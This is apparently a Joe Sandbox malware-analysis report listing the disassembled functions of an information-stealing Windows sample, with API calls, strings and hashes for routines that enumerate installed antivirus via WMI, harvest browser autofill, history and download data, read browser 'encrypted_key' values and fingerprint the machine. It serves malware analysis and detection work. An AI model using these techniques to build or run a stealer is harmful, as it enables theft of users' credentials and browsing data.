Unknown, xrefs: 0041FB06
%d/%d/%d %d:%d:%d, xrefs: 0041FACD
Unknown, xrefs: 0041FAF9
Select * From Win32_OperatingSystem, xrefs: 0041F9F9
InstallDate, xrefs: 0041FA6E
ROOT\CIMV2, xrefs: 0041F9C8
WQL, xrefs: 0041FA06

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileInitProcessProxySecuritySystemwsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$Unknown$Unknown$WQL
API String ID: 3748038148-461178377
Opcode ID: 2515bd83877f29c187d0f7c64489c236e143e8afb3782302e9a1f9a5c2bf36fe
Instruction ID: 9ebb2b30bf5d8e8fade98d6b5146c6969dbe6af06270dcc5f4cba62a874ff064
Opcode Fuzzy Hash: 2515bd83877f29c187d0f7c64489c236e143e8afb3782302e9a1f9a5c2bf36fe
Instruction Fuzzy Hash: 3D513CB1A00209AFEB10DFD5CCC5EAEB7BCFB48705F14412AF616A7290D6785D45CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040A550 Relevance: 31.6, APIs: 21, Instructions: 141memorystringCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0000EA60), ref: 0040A55E
HeapAlloc.KERNEL32(00000000), ref: 0040A565
lstrcat.KERNEL32(00000000,?), ref: 0040A572
_strtok_s.LIBCMT ref: 0040A58A
StrCmpCA.SHLWAPI(00000000,00448A08), ref: 0040A5C4
StrCmpCA.SHLWAPI(00000000,00448A0C), ref: 0040A5E3
StrCmpCA.SHLWAPI(00000000,00448A10), ref: 0040A602
StrCmpCA.SHLWAPI(00000000,00448A14), ref: 0040A621
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040A641
RtlAllocateHeap.NTDLL(00000000), ref: 0040A648
lstrcat.KERNEL32(00000000,00000000), ref: 0040A655
StrCmpCA.SHLWAPI(00000000,00448A18), ref: 0040A666
StrCmpCA.SHLWAPI(00000000,00448A1C), ref: 0040A685
StrCmpCA.SHLWAPI(00000000,00448A20), ref: 0040A6A4
StrCmpCA.SHLWAPI(00000000,00448A24), ref: 0040A6BC
StrCmpCA.SHLWAPI(00000000,00448A28), ref: 0040A6D4
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040A6ED
RtlAllocateHeap.NTDLL(00000000), ref: 0040A6F4
lstrcat.KERNEL32(00000000,00000000), ref: 0040A701
StrCmpCA.SHLWAPI(00000000,00448A2C), ref: 0040A70F
_strtok_s.LIBCMT ref: 0040A728

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$Processlstrcat$Allocate_strtok_s$Alloc
String ID:
API String ID: 1363180191-0
Opcode ID: 24ced400ef99c0dccbe019e74b37338c963431d4c814200d47b75493e7f9839c
Instruction ID: ae2e86f4fa302b8b5a2641433899d52255ad2803b6f6ae4e672b5311a429331e
Opcode Fuzzy Hash: 24ced400ef99c0dccbe019e74b37338c963431d4c814200d47b75493e7f9839c
Instruction Fuzzy Hash: A04126302C9300ABD7104B686C4CA7A3FBC9B92702B04413AF909B3192FABCC418936F

Uniqueness

Uniqueness Score: -1.00%

Function 004182B0 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 115stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004182E5
_memset.LIBCMT ref: 004182F8

Part of subcall function 00420E70: _memset.LIBCMT ref: 00420E91
Part of subcall function 00420E70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00420EAA

lstrcat.KERNEL32(?,00000000), ref: 0041830F
lstrcat.KERNEL32(?,043B4558), ref: 0041831D
lstrcat.KERNEL32(?,?), ref: 00418331
lstrcat.KERNEL32(?,..\), ref: 00418343
lstrcat.KERNEL32(?,0044C090), ref: 00418355
lstrcat.KERNEL32(?,0044C094), ref: 00418367
lstrcat.KERNEL32(?,0044C098), ref: 00418379
lstrcat.KERNEL32(?,0044C09C), ref: 0041838B
lstrcat.KERNEL32(?,0044C0A0), ref: 0041839D
lstrcat.KERNEL32(?,0044C0A4), ref: 004183AF
lstrcat.KERNEL32(?,0044C0A8), ref: 004183C1
lstrcat.KERNEL32(?,0044C0AC), ref: 004183D3
lstrcat.KERNEL32(?,.ini), ref: 004183E5

Part of subcall function 00420DE0: GetFileAttributesA.KERNEL32(0040C358,?,0040C358,?), ref: 00420DE7

Part of subcall function 0040F760: GetProcessHeap.KERNEL32(00000000,?), ref: 0040F822
Part of subcall function 0040F760: RtlAllocateHeap.NTDLL(00000000), ref: 0040F829

Part of subcall function 00418110: GetEnvironmentVariableA.KERNEL32(PATH,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,043B4558,?,00418411,0253C408,?,?,?,?,?,00000010,?,00000000), ref: 00418142
Part of subcall function 00418110: _memset.LIBCMT ref: 00418156
Part of subcall function 00418110: lstrcat.KERNEL32(?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;), ref: 0041816A
Part of subcall function 00418110: lstrcat.KERNEL32(?,0044C080), ref: 0041817C
Part of subcall function 00418110: lstrcat.KERNEL32(?,0253C408), ref: 0041818A
Part of subcall function 00418110: SetEnvironmentVariableA.KERNEL32(PATH,?,?,?,?,?,00000010,?,00000000), ref: 0041819C
Part of subcall function 00418110: LoadLibraryA.KERNEL32(02532720,?,?,?,?,00000010,?,00000000), ref: 004181A9
Part of subcall function 00418110: GetProcAddress.KERNEL32(00000000,043B4768), ref: 004181C4
Part of subcall function 00418110: GetProcAddress.KERNEL32(6CFF0000,043B4780), ref: 004181DC
Part of subcall function 00418110: GetProcAddress.KERNEL32(6CFF0000,02532560), ref: 004181F5
Part of subcall function 00418110: GetProcAddress.KERNEL32(6CFF0000,043B47C8), ref: 0041820D
Part of subcall function 00418110: GetProcAddress.KERNEL32(6CFF0000,025325C0), ref: 00418225
Part of subcall function 00418110: GetProcAddress.KERNEL32(6CFF0000,043F62F0), ref: 0041823E

FreeLibrary.KERNEL32(6CFF0000,?,?,?,?,?,00000010,?,00000000), ref: 0041843E

Part of subcall function 004169A0: wsprintfA.USER32 ref: 004169E4
Part of subcall function 004169A0: FindFirstFileA.KERNEL32(?,?), ref: 004169FB
Part of subcall function 004169A0: StrCmpCA.SHLWAPI(?,0044B964), ref: 00416A1C
Part of subcall function 004169A0: StrCmpCA.SHLWAPI(?,0044B968), ref: 00416A36
Part of subcall function 004169A0: wsprintfA.USER32 ref: 00416A5E
Part of subcall function 004169A0: StrCmpCA.SHLWAPI(?,043F7EB0), ref: 00416A74
Part of subcall function 004169A0: FindNextFileA.KERNELBASE(?,?), ref: 00416B80
Part of subcall function 004169A0: FindClose.KERNEL32(?), ref: 00416B95

Strings

..\, xrefs: 00418337
.ini, xrefs: 004183D9

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$AddressProc$_memset$FileFind$EnvironmentHeapLibraryVariablewsprintf$AllocateAttributesCloseFirstFolderFreeLoadNextPathProcess
String ID: ..\$.ini
API String ID: 3494397236-2443844595
Opcode ID: 8c97c724d54e380623bee48ccb2bdb9b09e27a0920482df30464e5455a84b65a
Instruction ID: a553a686fdc361cd56a665e7141aba9c8716d8849404d303b40dd028ea37aabe
Opcode Fuzzy Hash: 8c97c724d54e380623bee48ccb2bdb9b09e27a0920482df30464e5455a84b65a
Instruction Fuzzy Hash: 64419576540219ABCB50EBE0DC89FDA7378AB58740F4049DAF64992041EEB896C8CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00410300 Relevance: 28.8, APIs: 19, Instructions: 342stringsleepmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00424CB0: GetProcAddress.KERNEL32(771A0000,043F6548), ref: 00424CC5
Part of subcall function 00424CB0: GetProcAddress.KERNEL32(771A0000,043F6F40), ref: 00424CDD
Part of subcall function 00424CB0: GetProcAddress.KERNEL32(771A0000,043F6410), ref: 00424CF6
Part of subcall function 00424CB0: GetProcAddress.KERNEL32(771A0000,02538520), ref: 00424D0E
Part of subcall function 00424CB0: GetProcAddress.KERNEL32(771A0000,043F6350), ref: 00424D26
Part of subcall function 00424CB0: GetProcAddress.KERNEL32(771A0000,043F6E80), ref: 00424D3F
Part of subcall function 00424CB0: GetProcAddress.KERNEL32(771A0000,043F65A8), ref: 00424D57
Part of subcall function 00424CB0: GetProcAddress.KERNEL32(771A0000,043F6368), ref: 00424D6F
Part of subcall function 00424CB0: GetProcAddress.KERNEL32(771A0000,043F6458), ref: 00424D88
Part of subcall function 00424CB0: GetProcAddress.KERNEL32(771A0000,043F63B0), ref: 00424DA0
Part of subcall function 00424CB0: GetProcAddress.KERNEL32(771A0000,043F65C0), ref: 00424DB8
Part of subcall function 00424CB0: GetProcAddress.KERNEL32(771A0000,043F64A0), ref: 00424DD1
Part of subcall function 00424CB0: GetProcAddress.KERNEL32(771A0000,043F63C8), ref: 00424DE9
Part of subcall function 00424CB0: GetProcAddress.KERNEL32(771A0000,043F6FA0), ref: 00424E01
Part of subcall function 00424CB0: GetProcAddress.KERNEL32(771A0000,043F63E0), ref: 00424E1A
Part of subcall function 00424CB0: GetProcAddress.KERNEL32(771A0000,043F6638), ref: 00424E32

_memset.LIBCMT ref: 0041037D

Part of subcall function 004200C0: GetWindowsDirectoryA.KERNEL32(?,00000104,1A5A77C2,00000010,?,?), ref: 0042012D
Part of subcall function 004200C0: GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?), ref: 0042016E
Part of subcall function 004200C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?), ref: 004201D3
Part of subcall function 004200C0: HeapAlloc.KERNEL32(00000000,?,?,?,?), ref: 004201DA
Part of subcall function 004200C0: std::_Xinvalid_argument.LIBCPMT ref: 00420215

lstrcat.KERNEL32(?,00000000), ref: 004103AF
lstrcat.KERNEL32(?,00000000), ref: 004103F4
lstrcat.KERNEL32(?,00000000), ref: 00410439
OpenEventA.KERNEL32(001F0003,00000000,?), ref: 00410466
CloseHandle.KERNEL32(00000000), ref: 00410476
Sleep.KERNEL32(00001388), ref: 00410481
OpenEventA.KERNEL32(001F0003,00000000,?), ref: 00410494
CreateEventA.KERNEL32(00000000,00000000,00000000,?), ref: 004104AD
_memset.LIBCMT ref: 004104E0
lstrcat.KERNEL32(?,04321400), ref: 00410502
lstrcat.KERNEL32(?,00448EB0), ref: 00410514
lstrcat.KERNEL32(?,2E317000), ref: 00410534
GetProcessHeap.KERNEL32(00000000,?), ref: 004105A5
RtlAllocateHeap.NTDLL(00000000), ref: 004105AC
CreateThread.KERNEL32(00000000,00000000,Function_0000D120,?,00000000,00000000), ref: 00410737
CreateThread.KERNEL32(00000000,00000000,Function_0000D120,?,00000000,00000000), ref: 00410764
Sleep.KERNEL32(000003E8,?,?,?,?,?,?,?,?,?,?), ref: 00410771
Sleep.KERNEL32(000003E8,?,?,?,?,?,?,?,?,?,?), ref: 00410785

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$lstrcat$Heap$CreateEventSleep$OpenProcessThread_memset$AllocAllocateCloseDirectoryHandleInformationVolumeWindowsXinvalid_argumentstd::_
String ID:
API String ID: 1808817354-0
Opcode ID: 56c009a7c098dbe855bcacdc0eeaf16fd0c1282b4aeb0e06de43ca785339c15f
Instruction ID: 3d3db3e0af71341555c1a50f62975ed92ad4c30131d1907bc4f75425795b1e34
Opcode Fuzzy Hash: 56c009a7c098dbe855bcacdc0eeaf16fd0c1282b4aeb0e06de43ca785339c15f
Instruction Fuzzy Hash: 80D1E5B1804358AFCB11DB60EC90AEA7B7CAB49305F0045FEF54957252DB789E88CF69

Uniqueness

Uniqueness Score: -1.00%

Function 0041CBB0 Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 224stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041CC17
_memset.LIBCMT ref: 0041CC29

Part of subcall function 00420E70: _memset.LIBCMT ref: 00420E91
Part of subcall function 00420E70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00420EAA

lstrcat.KERNEL32(?,00000000), ref: 0041CC40
lstrcat.KERNEL32(?,043B4558), ref: 0041CC4E
lstrcat.KERNEL32(?,?), ref: 0041CC5C
StrCmpCA.SHLWAPI(?,043F7F40,?,?,?,1A5A77C2,00000010,?,00000000), ref: 0041CC70
StrCmpCA.SHLWAPI(?,043F6A20,?,?,?,1A5A77C2,00000010,?,00000000), ref: 0041CC8C
StrCmpCA.SHLWAPI(?,Opera Crypto Stable,?,?,?,1A5A77C2,00000010,?,00000000), ref: 0041CCA6
lstrcat.KERNEL32(?,00000000), ref: 0041CCCC
lstrcat.KERNEL32(?,043B4558), ref: 0041CCDA
_memset.LIBCMT ref: 0041CCED
lstrcat.KERNEL32(?,?), ref: 0041CD03
lstrcat.KERNEL32(?,0044C074), ref: 0041CD15
lstrcat.KERNEL32(?,043B4588), ref: 0041CD28

Part of subcall function 0041A200: StrStrA.SHLWAPI(00000000,encrypted_key,?,?,1A5A77C2,00000000,00000000,?,0043F608,000000FF,?,0040BC24,?,?,?,00000000), ref: 0041A272

Strings

Opera Crypto Stable, xrefs: 0041CCA0

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$FolderPath
String ID: Opera Crypto Stable
API String ID: 3265372058-2665741402
Opcode ID: 5fd68a59d8c77e9ba51e568ced6e1aa7085c88ef727ba21d58ebd2fb15209945
Instruction ID: e6c7c8c56e7487d721c77a724782cf36f1b532b97b5f74c1359587c67af3d5f1
Opcode Fuzzy Hash: 5fd68a59d8c77e9ba51e568ced6e1aa7085c88ef727ba21d58ebd2fb15209945
Instruction Fuzzy Hash: 649180B1940228AFCB25DF50DC85BEAB7BCBB48704F0045EEE509A7251EB356B88CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00415E00 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 138stringmemoryfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00415E36
lstrcat.KERNEL32(?,0253C408), ref: 00415E4C

Part of subcall function 00420D40: _malloc.LIBCMT ref: 00420D49
Part of subcall function 00420D40: GetTickCount.KERNEL32 ref: 00420D56
Part of subcall function 00420D40: _rand.LIBCMT ref: 00420D70
Part of subcall function 00420D40: wsprintfA.USER32 ref: 00420D85

lstrcat.KERNEL32(?,00000000), ref: 00415E67
CopyFileA.KERNEL32(?,?,00000001), ref: 00415E77
_memset.LIBCMT ref: 00415E8B
wsprintfA.USER32 ref: 00415E9E
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00415EF2
RtlAllocateHeap.NTDLL(00000000), ref: 00415EF9
lstrcat.KERNEL32(00000000,00000000), ref: 00415F3D
lstrcat.KERNEL32(00000000,0044B880), ref: 00415F49
lstrcat.KERNEL32(00000000,00000000), ref: 00415F51
lstrcat.KERNEL32(00000000,0044B884), ref: 00415F5D
lstrlen.KERNEL32(00000000), ref: 00415F79
DeleteFileA.KERNEL32(?), ref: 00415FBB

Strings

\Downloads\%s_%s.txt, xrefs: 00415E98

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap_memsetwsprintf$AllocateCopyCountDeleteProcessTick_malloc_randlstrlen
String ID: \Downloads\%s_%s.txt
API String ID: 3780240049-1964744946
Opcode ID: 9324b3ef8d625a8d88c6b0a398fc5fe5ceceda007b7929a920733a01846557b0
Instruction ID: 9e5d431bb5436acc620cc0e563f41566bfdeb888f1394df4ac1e57eba5d8ca4d
Opcode Fuzzy Hash: 9324b3ef8d625a8d88c6b0a398fc5fe5ceceda007b7929a920733a01846557b0
Instruction Fuzzy Hash: FC419775940218ABCB10DF64EC8DEDA777CEF58301F0045A9F609D3151EAB4DA85CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00415A60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00415A96
lstrcat.KERNEL32(?,0253C408), ref: 00415AAC

Part of subcall function 00420D40: _malloc.LIBCMT ref: 00420D49
Part of subcall function 00420D40: GetTickCount.KERNEL32 ref: 00420D56
Part of subcall function 00420D40: _rand.LIBCMT ref: 00420D70
Part of subcall function 00420D40: wsprintfA.USER32 ref: 00420D85

lstrcat.KERNEL32(?,00000000), ref: 00415AC7
CopyFileA.KERNEL32(?,?,00000001), ref: 00415AD7
_memset.LIBCMT ref: 00415AEB
wsprintfA.USER32 ref: 00415AFE
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00415B52
RtlAllocateHeap.NTDLL(00000000), ref: 00415B59
lstrcat.KERNEL32(00000000,00000000), ref: 00415B8A
lstrcat.KERNEL32(00000000,0044B848), ref: 00415B96
lstrcat.KERNEL32(00000000,00000000), ref: 00415BB0
lstrcat.KERNEL32(00000000,0044B84C), ref: 00415BBC
lstrlen.KERNEL32(00000000), ref: 00415BD8
DeleteFileA.KERNEL32(?), ref: 00415C1A

Strings

\Autofill\%s_%s.txt, xrefs: 00415AF8

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap_memsetwsprintf$AllocateCopyCountDeleteProcessTick_malloc_randlstrlen
String ID: \Autofill\%s_%s.txt
API String ID: 3780240049-3770965036
Opcode ID: 5767e713b500defbd5e372574e977047f49f7ec6be658685937ae64bfeee2754
Instruction ID: 97598bdd32bc29927f9bae5f240af69484e63f18ef6fe08b19b1da3ed0d6b1fc
Opcode Fuzzy Hash: 5767e713b500defbd5e372574e977047f49f7ec6be658685937ae64bfeee2754
Instruction Fuzzy Hash: C2418575944218ABC710DF64EC8DEDA7738EF54305F0045A9FA09E3151EAB4AA84CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0041D230 Relevance: 26.2, APIs: 17, Instructions: 669stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0041D276

Part of subcall function 00420E70: _memset.LIBCMT ref: 00420E91
Part of subcall function 00420E70: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00420EAA

lstrcat.KERNEL32(?,00000000), ref: 0041D28D
lstrcat.KERNEL32(?,0259E9F8), ref: 0041D2A0

Part of subcall function 00420DE0: GetFileAttributesA.KERNEL32(0040C358,?,0040C358,?), ref: 00420DE7

Part of subcall function 00415590: std::_Lockit::_Lockit.LIBCPMT ref: 004155AC

Part of subcall function 00419400: std::_Lockit::_Lockit.LIBCPMT ref: 0041942D
Part of subcall function 00419400: std::_Lockit::_Lockit.LIBCPMT ref: 00419450

std::_Lockit::_Lockit.LIBCPMT ref: 0041D391
_memmove.LIBCMT ref: 0041D76A
lstrcat.KERNEL32(?,0044B974), ref: 0041D8CE
lstrcat.KERNEL32(?,02532A40), ref: 0041D8DC
lstrcat.KERNEL32(?,04372378), ref: 0041D8E9
lstrcat.KERNEL32(?,00000000), ref: 0041D934
lstrcat.KERNEL32(?,0044B97C), ref: 0041D9A5
lstrcat.KERNEL32(?,043723D8), ref: 0041D9B3
lstrcat.KERNEL32(?,00000000), ref: 0041D9CF
lstrcat.KERNEL32(?,0044B980), ref: 0041D9DB
lstrcat.KERNEL32(?,043F7E68), ref: 0041D9E8
lstrcat.KERNEL32(?,00000000), ref: 0041DA04
lstrcat.KERNEL32(?,0044B984), ref: 0041DA10
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 0041DB6A

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$LockitLockit::_std::_$_memset$AttributesFileFolderIos_base_dtorPath_memmovestd::ios_base::_
String ID:
API String ID: 2947822174-0
Opcode ID: 56938f10e10b28700749102a486496ca6f9e5b061282c2086e5750aa4732f6fc
Instruction ID: 3749f2922f1c57cc74577ae58f2f7d477b4ba082a7333377a9c3750443f45411
Opcode Fuzzy Hash: 56938f10e10b28700749102a486496ca6f9e5b061282c2086e5750aa4732f6fc
Instruction Fuzzy Hash: 0642A5F1D002299BDB24DB14CD80BDEB779AB85304F4045EAE609A7282DB749EC5CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 00416610 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 126stringmemoryfileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00416646
lstrcat.KERNEL32(?,0253C408), ref: 0041665C

Part of subcall function 00420D40: _malloc.LIBCMT ref: 00420D49
Part of subcall function 00420D40: GetTickCount.KERNEL32 ref: 00420D56
Part of subcall function 00420D40: _rand.LIBCMT ref: 00420D70
Part of subcall function 00420D40: wsprintfA.USER32 ref: 00420D85

lstrcat.KERNEL32(?,00000000), ref: 00416677
CopyFileA.KERNEL32(?,?,00000001), ref: 00416687
_memset.LIBCMT ref: 0041669B
wsprintfA.USER32 ref: 004166AE
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00416702
RtlAllocateHeap.NTDLL(00000000), ref: 00416709
lstrcat.KERNEL32(00000000,00000000), ref: 0041673A
lstrcat.KERNEL32(00000000,0044B90C), ref: 00416746
lstrlen.KERNEL32(00000000), ref: 00416762
DeleteFileA.KERNEL32(?), ref: 004167A4

Strings

7kA, xrefs: 00416623
\History\%s_%s.txt, xrefs: 004166A8

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap_memsetwsprintf$AllocateCopyCountDeleteProcessTick_malloc_randlstrlen
String ID: 7kA$\History\%s_%s.txt
API String ID: 3780240049-3480135235
Opcode ID: a6567db615b26a97296642542f8b753e4ef9c05da52e1759aaa7f6db01f5a4f5
Instruction ID: 65352227cccd3a0a8338679d77420ef709c5630fc7c330a234dc3aab54ab3743
Opcode Fuzzy Hash: a6567db615b26a97296642542f8b753e4ef9c05da52e1759aaa7f6db01f5a4f5
Instruction Fuzzy Hash: B1418675940218ABCB10DF64EC8DEDA777CEF18305F0045A9FA09E3151EA74EA84CF99

Uniqueness

Uniqueness Score: -1.00%

Function 004200C0 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 370memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,1A5A77C2,00000010,?,?), ref: 0042012D
GetVolumeInformationA.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?), ref: 0042016E
GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?), ref: 004201D3
HeapAlloc.KERNEL32(00000000,?,?,?,?), ref: 004201DA
std::_Xinvalid_argument.LIBCPMT ref: 00420215
_memmove.LIBCMT ref: 00420273

Strings

:\, xrefs: 0042015E
C, xrefs: 00420137
string too long, xrefs: 00420210
%08lX%04lX%lu-, xrefs: 004202BD

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowsXinvalid_argument_memmovestd::_
String ID: %08lX%04lX%lu-$:\$C$string too long
API String ID: 2749996923-3491094078
Opcode ID: 448bd230437ed60f2eb8fd51788f72678c840f3dc0c8a4ff012dc5f7af12f500
Instruction ID: ba5489b3e2688bae4c993a99d9f10dd8021accb70b1cd4373a5834b57b77706a
Opcode Fuzzy Hash: 448bd230437ed60f2eb8fd51788f72678c840f3dc0c8a4ff012dc5f7af12f500
Instruction Fuzzy Hash: 4CF1A0B0A002689BDB25DF24DC847DEB7F5AF09304F4045EAE54967242D7786F84CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 0041FEB0 Relevance: 22.9, APIs: 6, Strings: 7, Instructions: 161comCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000000,1A5A77C2,?,00000010,?), ref: 0041FEE8
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000010,?), ref: 0041FEF9
CoCreateInstance.OLE32(0044D820,00000000,00000001,0044D750,?,?,00000010,?), ref: 0041FF13
CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000010,?), ref: 0041FF4C
VariantInit.OLEAUT32(?), ref: 0041FFBF

Part of subcall function 00424100: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,00000000,?,00000010,?,?,00420006,?,?), ref: 00424132
Part of subcall function 00424100: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 0042415C

VariantClear.OLEAUT32(?), ref: 00420029

Strings

Unknown, xrefs: 00420042
Unknown, xrefs: 0042004F
root\SecurityCenter2, xrefs: 0041FF2B
WQL, xrefs: 0041FF69
displayName, xrefs: 0041FFD7
Unknown, xrefs: 0042003B
Select * From AntiVirusProduct, xrefs: 0041FF5C

Memory Dump Source

Source File: 00000001.00000002.3693314502.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.3693314502.0000000000467000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.3693314502.000000000046B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_file.jbxd

Yara matches

Similarity

API ID: ByteCharInitializeMultiVariantWide$BlanketClearCreateInitInstanceProxySecurity
String ID: Select * From AntiVirusProduct$Unknown$Unknown$Unknown$WQL$displayName$root\SecurityCenter2
API String ID: 3162198753-315474579
Opcode ID: 01649751238cd7ff593d0dcebee1955b7c7d758ff251e39d57a9c27c2a646bba
